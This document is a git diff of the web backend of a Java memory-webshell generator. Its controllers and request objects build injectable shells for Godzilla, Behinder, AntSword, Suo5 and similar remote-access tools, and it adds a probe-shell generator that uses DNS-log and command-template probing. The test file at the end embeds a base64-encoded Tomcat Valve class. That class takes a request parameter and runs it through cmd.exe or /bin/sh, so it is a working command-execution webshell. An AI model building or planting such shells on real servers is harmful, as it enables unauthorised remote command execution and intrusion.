}
|
||||||
|
|
||||||
|
public static class PackerCategoryDTO {
|
||||||
|
private String name;
|
||||||
|
private List<PackerOptionDTO> packers;
|
||||||
|
|
||||||
|
public String getName() {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setName(String name) {
|
||||||
|
this.name = name;
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<PackerOptionDTO> getPackers() {
|
||||||
|
return packers;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPackers(List<PackerOptionDTO> packers) {
|
||||||
|
this.packers = packers;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class PackerOptionDTO {
|
||||||
|
private String name;
|
||||||
|
private String outputKind;
|
||||||
|
private boolean categoryAnchor;
|
||||||
|
private Object schema;
|
||||||
|
|
||||||
|
public String getName() {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setName(String name) {
|
||||||
|
this.name = name;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getOutputKind() {
|
||||||
|
return outputKind;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setOutputKind(String outputKind) {
|
||||||
|
this.outputKind = outputKind;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isCategoryAnchor() {
|
||||||
|
return categoryAnchor;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setCategoryAnchor(boolean categoryAnchor) {
|
||||||
|
this.categoryAnchor = categoryAnchor;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getSchema() {
|
||||||
|
return schema;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setSchema(Object schema) {
|
||||||
|
this.schema = schema;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -1,40 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class GeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public GenerateResponse generate(@RequestBody GenerateRequest request) {
|
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
|
||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof JarPacker) {
|
|
||||||
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
|
||||||
} else if (packer instanceof AggregatePacker) {
|
|
||||||
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
|
||||||
} else {
|
|
||||||
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+47
@@ -0,0 +1,47 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/api/memshell/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class MemShellGeneratorController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
if (request.getPackerSpec() == null) {
|
||||||
|
throw new IllegalArgumentException("packerSpec is required");
|
||||||
|
}
|
||||||
|
Packers packers = Packers.fromName(request.getPackerSpec().getName());
|
||||||
|
Packer<?> packer = packers.getInstance();
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig();
|
||||||
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
|
||||||
|
}
|
||||||
|
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
|
||||||
|
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
|
||||||
|
return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
+36
@@ -0,0 +1,36 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/api/probe/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ProbeShellGeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
||||||
|
ProbeConfig probeConfig = request.getProbeConfig();
|
||||||
|
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||||
|
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||||
|
if (request.getPackerSpec() == null) {
|
||||||
|
throw new IllegalArgumentException("packerSpec is required");
|
||||||
|
}
|
||||||
|
Packers packers = Packers.fromName(request.getPackerSpec().getName());
|
||||||
|
Packer packer = packers.getInstance();
|
||||||
|
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
|
||||||
|
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
|
||||||
|
return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/version")
|
@RequestMapping("/api/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
|
|||||||
@@ -1,16 +1,70 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.core.io.ClassPathResource;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
|
@Slf4j
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "index";
|
return "redirect:/ui";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping({"/api/search", "/api/search.data"})
|
||||||
|
@ResponseBody
|
||||||
|
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
String relativePath = fullPath.substring(1);
|
||||||
|
return renderFileData(relativePath, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/ui/**")
|
||||||
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
|
return "index";
|
||||||
|
}
|
||||||
|
String docPath = fullPath.substring(4);
|
||||||
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
|
}
|
||||||
|
|
||||||
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
|
try {
|
||||||
|
String templatePath = "templates/" + relativePath;
|
||||||
|
ClassPathResource resource = new ClassPathResource(templatePath);
|
||||||
|
if (!resource.exists()) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
|
return "File not found: " + relativePath;
|
||||||
|
}
|
||||||
|
InputStreamReader reader = new InputStreamReader(
|
||||||
|
resource.getInputStream(),
|
||||||
|
StandardCharsets.UTF_8
|
||||||
|
);
|
||||||
|
return FileCopyUtils.copyToString(reader);
|
||||||
|
} catch (IOException e) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
||||||
|
return "Error reading file: " + e.getMessage();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class GenerateResponse {
|
|
||||||
private GenerateResult generateResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+28
-17
@@ -1,74 +1,85 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class GenerateRequest {
|
public class MemShellGenerateRequest {
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
private ShellToolConfigDTO shellToolConfig;
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
private InjectorConfig injectorConfig;
|
private InjectorConfig injectorConfig;
|
||||||
private Packers packer;
|
private PackerRequestSpecDTO packerSpec;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
static class ShellToolConfigDTO {
|
public static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
|
private String commandTemplate;
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
|
private String encryptor;
|
||||||
|
private String implementationClass;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
return switch (shellConfig.getShellTool()) {
|
return switch (shellConfig.getShellTool()) {
|
||||||
case Godzilla -> GodzillaConfig.builder()
|
case Godzilla -> GodzillaConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getGodzillaPass())
|
||||||
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
.key(shellToolConfig.getGodzillaKey())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Behinder -> BehinderConfig.builder()
|
case Behinder -> BehinderConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getBehinderPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getAntSwordPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Custom -> CustomConfig.builder()
|
case Custom -> CustomConfig.builder()
|
||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
|
case Proxy -> ProxyConfig.builder()
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.shellClassName(shellToolConfig.shellClassName).build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class MemShellGenerateResponse {
|
||||||
|
private MemShellResult memShellResult;
|
||||||
|
private String packResult;
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.spec.PackerRequestSpec;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Packer selection request payload.
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class PackerRequestSpecDTO {
|
||||||
|
private String name;
|
||||||
|
private Map<String, Object> config = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
public PackerRequestSpec toPackerRequestSpec() {
|
||||||
|
PackerRequestSpec spec = new PackerRequestSpec();
|
||||||
|
spec.setName(name);
|
||||||
|
if (config != null) {
|
||||||
|
spec.setConfig(config);
|
||||||
|
}
|
||||||
|
return spec;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.probe.config.*;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class ProbeShellGenerateRequest {
|
||||||
|
private ProbeConfig probeConfig;
|
||||||
|
private ProbeContentConfigDTO probeContentConfig;
|
||||||
|
private PackerRequestSpecDTO packerSpec;
|
||||||
|
|
||||||
|
@Data
|
||||||
|
static class ProbeContentConfigDTO {
|
||||||
|
private String host;
|
||||||
|
private int seconds;
|
||||||
|
private String server;
|
||||||
|
private String sleepServer;
|
||||||
|
private String reqParamName;
|
||||||
|
private String commandTemplate;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
|
return switch (probeConfig.getProbeMethod()) {
|
||||||
|
case DNSLog -> DnsLogConfig.builder()
|
||||||
|
.host(probeContentConfig.host)
|
||||||
|
.build();
|
||||||
|
case Sleep -> SleepConfig.builder()
|
||||||
|
.seconds(probeContentConfig.seconds)
|
||||||
|
.server(probeContentConfig.sleepServer)
|
||||||
|
.build();
|
||||||
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
|
.commandTemplate(probeContentConfig.commandTemplate)
|
||||||
|
.server(probeContentConfig.server)
|
||||||
|
.build();
|
||||||
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class ProbeShellGenerateResponse {
|
||||||
|
private ProbeShellResult probeShellResult;
|
||||||
|
private String packResult;
|
||||||
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class CommandConfigVO {
|
||||||
|
private List<CommandConfig.Encryptor> encryptors;
|
||||||
|
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||||
|
}
|
||||||
@@ -2,3 +2,6 @@ spring:
|
|||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
|
mvc:
|
||||||
|
pathmatch:
|
||||||
|
matching-strategy: ant_path_matcher
|
||||||
+18
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
class ClassNameParseControllerTest {
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||||
|
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7